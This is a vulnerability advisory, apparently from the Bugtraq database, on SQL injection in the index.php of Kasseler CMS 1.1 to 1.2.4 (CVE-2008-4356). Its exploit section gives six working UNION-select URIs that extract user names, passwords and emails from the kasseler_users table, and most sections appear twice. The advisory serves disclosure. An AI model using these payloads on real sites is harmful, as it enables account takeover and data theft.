Kasseler CMS 'index.php' Multiple SQL Injection Vulnerabilities
BID:31170
Info
Kasseler CMS 'index.php' Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 31170 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-4356 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 14 2008 12:00AM |
| Updated: | May 07 2015 05:23PM |
| Credit: | ~!Dok_tOR!~ |
| Vulnerable: |
Kasseler CMS Kasseler CMS 1.2.4 Kasseler CMS Kasseler CMS 1.2 Lite Kasseler CMS Kasseler CMS 1.1 |
| Not Vulnerable: | |
Discussion
Kasseler CMS 'index.php' Multiple SQL Injection Vulnerabilities
Kasseler CMS is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Kasseler CMS 1.1.0 and 1.2.0 Lite are affected; other versions may also be vulnerable.
Kasseler CMS is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Kasseler CMS 1.1.0 and 1.2.0 Lite are affected; other versions may also be vulnerable.
Exploit / POC
Kasseler CMS 'index.php' Multiple SQL Injection Vulnerabilities
Attackers can exploit the issues via a browser.
The following example URIs are available:
http://www.example.com/index.php?module=News&do=View&nid=1'+and+1=2+union+select+1,2,concat_ws(0x3a,user_name,user_password,user_email),4,user(),version(),7,8,9,10,11,12,database(),14,15,16,17,18+from+kasseler_users+where+uid=1/*
http://www.example.com/index.php?module=Voting&do=Result&vid=1'+union+select+1,concat_ws(0x3a,user_name,user_password,user_email),3,4,user(),6,version(),8,9,10,11,12,13,14,15+from+kasseler_users+where+uid=1/*
http://www.example.com/index.php?module=Forum&do=ShowForum&fid=1'+union+select+1,2,3,concat_ws(0x3a,user_name,user_password,user_email),5,user(),database(),8,9,10,11,version(),13,14,15+from+kasseler_users+where+uid=1/*
http://www.example.com/index.php?module=Forum&do=ShowTopic&tid=706'+union+select+1,2,3,4,concat_ws(0x3a,user_name,user_password,user_email),6,7,user(),9,10,11,version(),13,14,15,16,17,18+from+kasseler_users+where+uid=1/*
http://www.example.com/index.php?module=Account&do=UserInfo&uname=dok'+union+select+1,2,3,4,concat_ws(0x3a,user_name,user_password,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+kasseler_users+where+uid=1/*
http://www.example.com/index.php?module=TopSites+1'+and+1=2+union+select+1,concat_ws(0x3a,user_name,user_password,user_email),3,4,5+from+kasseler_users+where+uid=1/*
Attackers can exploit the issues via a browser.
The following example URIs are available:
http://www.example.com/index.php?module=News&do=View&nid=1'+and+1=2+union+select+1,2,concat_ws(0x3a,user_name,user_password,user_email),4,user(),version(),7,8,9,10,11,12,database(),14,15,16,17,18+from+kasseler_users+where+uid=1/*
http://www.example.com/index.php?module=Voting&do=Result&vid=1'+union+select+1,concat_ws(0x3a,user_name,user_password,user_email),3,4,user(),6,version(),8,9,10,11,12,13,14,15+from+kasseler_users+where+uid=1/*
http://www.example.com/index.php?module=Forum&do=ShowForum&fid=1'+union+select+1,2,3,concat_ws(0x3a,user_name,user_password,user_email),5,user(),database(),8,9,10,11,version(),13,14,15+from+kasseler_users+where+uid=1/*
http://www.example.com/index.php?module=Forum&do=ShowTopic&tid=706'+union+select+1,2,3,4,concat_ws(0x3a,user_name,user_password,user_email),6,7,user(),9,10,11,version(),13,14,15,16,17,18+from+kasseler_users+where+uid=1/*
http://www.example.com/index.php?module=Account&do=UserInfo&uname=dok'+union+select+1,2,3,4,concat_ws(0x3a,user_name,user_password,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+kasseler_users+where+uid=1/*
http://www.example.com/index.php?module=TopSites+1'+and+1=2+union+select+1,concat_ws(0x3a,user_name,user_password,user_email),3,4,5+from+kasseler_users+where+uid=1/*
Solution / Fix
Kasseler CMS 'index.php' Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for the issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for the issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Kasseler CMS 'index.php' Multiple SQL Injection Vulnerabilities
References:
References:
- Kasseler CMS Home Page (Kasseler CMS)